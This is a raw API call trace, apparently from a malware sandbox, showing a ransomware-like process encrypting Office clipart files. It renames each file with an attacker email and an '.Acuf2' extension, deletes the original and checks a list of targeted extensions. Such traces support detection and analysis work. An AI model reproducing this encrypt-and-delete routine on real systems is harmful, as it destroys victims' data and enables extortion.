	[0257.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0257.842] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.842] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0257.843] GetLastError () returned 0x0
	[0257.843] ReadFile (in: hFile=0x274, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2576, lpOverlapped=0x0) returned 1
	[0257.891] WriteFile (in: hFile=0x354, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2580, lpOverlapped=0x0) returned 1
	[0257.891] ReadFile (in: hFile=0x274, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.891] WriteFile (in: hFile=0x354, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.892] SetEndOfFile (hFile=0x354) returned 1
	[0257.892] CloseHandle (hObject=0x354) returned 1
	[0257.892] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.892] SetEndOfFile (hFile=0x274) returned 1
	[0257.894] CloseHandle (hObject=0x274) returned 1
	[0257.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1
	[0257.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.895] lstrlenW (lpString=".doc") returned 4
	[0257.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.895] lstrlenW (lpString=".docx") returned 5
	[0257.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.895] lstrlenW (lpString=".pdf") returned 4
	[0257.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.895] lstrlenW (lpString=".xls") returned 4
	[0257.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.895] lstrlenW (lpString=".xlsx") returned 5
	[0257.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.895] lstrlenW (lpString=".ppt") returned 4
	[0257.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.895] lstrlenW (lpString=".zip") returned 4
	[0257.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.895] lstrlenW (lpString=".rar") returned 4
	[0257.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.896] lstrlenW (lpString=".bz2") returned 4
	[0257.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.896] lstrlenW (lpString=".7z") returned 3
	[0257.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.896] lstrlenW (lpString=".dbf") returned 4
	[0257.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.896] lstrlenW (lpString=".1cd") returned 4
	[0257.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.896] lstrlenW (lpString=".jpg") returned 4
	[0257.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.896] lstrlenW (lpString=".doc") returned 4
	[0257.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.896] lstrlenW (lpString=".docx") returned 5
	[0257.896] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.896] lstrlenW (lpString=".pdf") returned 4
	[0257.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.896] lstrlenW (lpString=".xls") returned 4
	[0257.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.896] lstrlenW (lpString=".xlsx") returned 5
	[0257.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.896] lstrlenW (lpString=".ppt") returned 4
	[0257.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.897] lstrlenW (lpString=".zip") returned 4
	[0257.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.897] lstrlenW (lpString=".rar") returned 4
	[0257.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.897] lstrlenW (lpString=".bz2") returned 4
	[0257.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.897] lstrlenW (lpString=".7z") returned 3
	[0257.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.897] lstrlenW (lpString=".dbf") returned 4
	[0257.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.897] lstrlenW (lpString=".1cd") returned 4
	[0257.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63
	[0257.897] lstrlenW (lpString=".jpg") returned 4
	[0257.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.897] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.897] lstrlenW (lpString="BL00921_.WMF") returned 12
	[0257.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0257.915] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=4408) returned 1
	[0257.915] CloseHandle (hObject=0x358) returned 1
	[0257.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20
	[0257.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0258.377] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.377] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0258.459] GetLastError () returned 0x0
	[0258.459] ReadFile (in: hFile=0x328, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1138, lpOverlapped=0x0) returned 1
	[0258.462] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1140, lpOverlapped=0x0) returned 1
	[0258.464] ReadFile (in: hFile=0x328, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.464] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.464] SetEndOfFile (hFile=0x33c) returned 1
	[0258.464] CloseHandle (hObject=0x33c) returned 1
	[0258.464] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.464] SetEndOfFile (hFile=0x328) returned 1
	[0258.466] CloseHandle (hObject=0x328) returned 1
	[0258.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1
	[0258.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.504] lstrlenW (lpString=".doc") returned 4
	[0258.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.504] lstrlenW (lpString=".docx") returned 5
	[0258.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.504] lstrlenW (lpString=".pdf") returned 4
	[0258.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.504] lstrlenW (lpString=".xls") returned 4
	[0258.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.504] lstrlenW (lpString=".xlsx") returned 5
	[0258.504] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.504] lstrlenW (lpString=".ppt") returned 4
	[0258.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.504] lstrlenW (lpString=".zip") returned 4
	[0258.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.504] lstrlenW (lpString=".rar") returned 4
	[0258.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.504] lstrlenW (lpString=".bz2") returned 4
	[0258.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.504] lstrlenW (lpString=".7z") returned 3
	[0258.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.504] lstrlenW (lpString=".dbf") returned 4
	[0258.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.504] lstrlenW (lpString=".1cd") returned 4
	[0258.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.504] lstrlenW (lpString=".jpg") returned 4
	[0258.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.505] lstrlenW (lpString=".doc") returned 4
	[0258.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.505] lstrlenW (lpString=".docx") returned 5
	[0258.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.505] lstrlenW (lpString=".pdf") returned 4
	[0258.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.505] lstrlenW (lpString=".xls") returned 4
	[0258.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.505] lstrlenW (lpString=".xlsx") returned 5
	[0258.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.505] lstrlenW (lpString=".ppt") returned 4
	[0258.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.505] lstrlenW (lpString=".zip") returned 4
	[0258.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.505] lstrlenW (lpString=".rar") returned 4
	[0258.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.505] lstrlenW (lpString=".bz2") returned 4
	[0258.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.505] lstrlenW (lpString=".7z") returned 3
	[0258.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.505] lstrlenW (lpString=".dbf") returned 4
	[0258.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.505] lstrlenW (lpString=".1cd") returned 4
	[0258.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63
	[0258.505] lstrlenW (lpString=".jpg") returned 4
	[0258.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.506] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.506] lstrlenW (lpString="BS00135_.WMF") returned 12
	[0258.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0258.506] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1044) returned 1
	[0258.506] CloseHandle (hObject=0x274) returned 1
	[0258.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20
	[0258.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0258.506] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.506] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0258.507] GetLastError () returned 0x0
	[0258.507] ReadFile (in: hFile=0x274, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x414, lpOverlapped=0x0) returned 1
	[0258.542] WriteFile (in: hFile=0x338, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x420, lpOverlapped=0x0) returned 1
	[0258.542] ReadFile (in: hFile=0x274, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.542] WriteFile (in: hFile=0x338, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.542] SetEndOfFile (hFile=0x338) returned 1
	[0258.544] CloseHandle (hObject=0x338) returned 1
	[0258.544] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.544] SetEndOfFile (hFile=0x274) returned 1
	[0258.546] CloseHandle (hObject=0x274) returned 1
	[0258.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1
	[0258.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.587] lstrlenW (lpString=".doc") returned 4
	[0258.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.587] lstrlenW (lpString=".docx") returned 5
	[0258.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.587] lstrlenW (lpString=".pdf") returned 4
	[0258.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.587] lstrlenW (lpString=".xls") returned 4
	[0258.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.587] lstrlenW (lpString=".xlsx") returned 5
	[0258.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.587] lstrlenW (lpString=".ppt") returned 4
	[0258.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.587] lstrlenW (lpString=".zip") returned 4
	[0258.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.587] lstrlenW (lpString=".rar") returned 4
	[0258.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.588] lstrlenW (lpString=".bz2") returned 4
	[0258.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.588] lstrlenW (lpString=".7z") returned 3
	[0258.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.588] lstrlenW (lpString=".dbf") returned 4
	[0258.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.588] lstrlenW (lpString=".1cd") returned 4
	[0258.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.588] lstrlenW (lpString=".jpg") returned 4
	[0258.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.588] lstrlenW (lpString=".doc") returned 4
	[0258.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.588] lstrlenW (lpString=".docx") returned 5
	[0258.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.588] lstrlenW (lpString=".pdf") returned 4
	[0258.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.588] lstrlenW (lpString=".xls") returned 4
	[0258.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.588] lstrlenW (lpString=".xlsx") returned 5
	[0258.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.588] lstrlenW (lpString=".ppt") returned 4
	[0258.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.588] lstrlenW (lpString=".zip") returned 4
	[0258.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.588] lstrlenW (lpString=".rar") returned 4
	[0258.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.589] lstrlenW (lpString=".bz2") returned 4
	[0258.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.589] lstrlenW (lpString=".7z") returned 3
	[0258.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.589] lstrlenW (lpString=".dbf") returned 4
	[0258.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.589] lstrlenW (lpString=".1cd") returned 4
	[0258.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63
	[0258.589] lstrlenW (lpString=".jpg") returned 4
	[0258.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.589] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.589] lstrlenW (lpString="BS00145_.WMF") returned 12
	[0258.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.615] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1712) returned 1
	[0258.615] CloseHandle (hObject=0x220) returned 1
	[0258.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20
	[0258.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
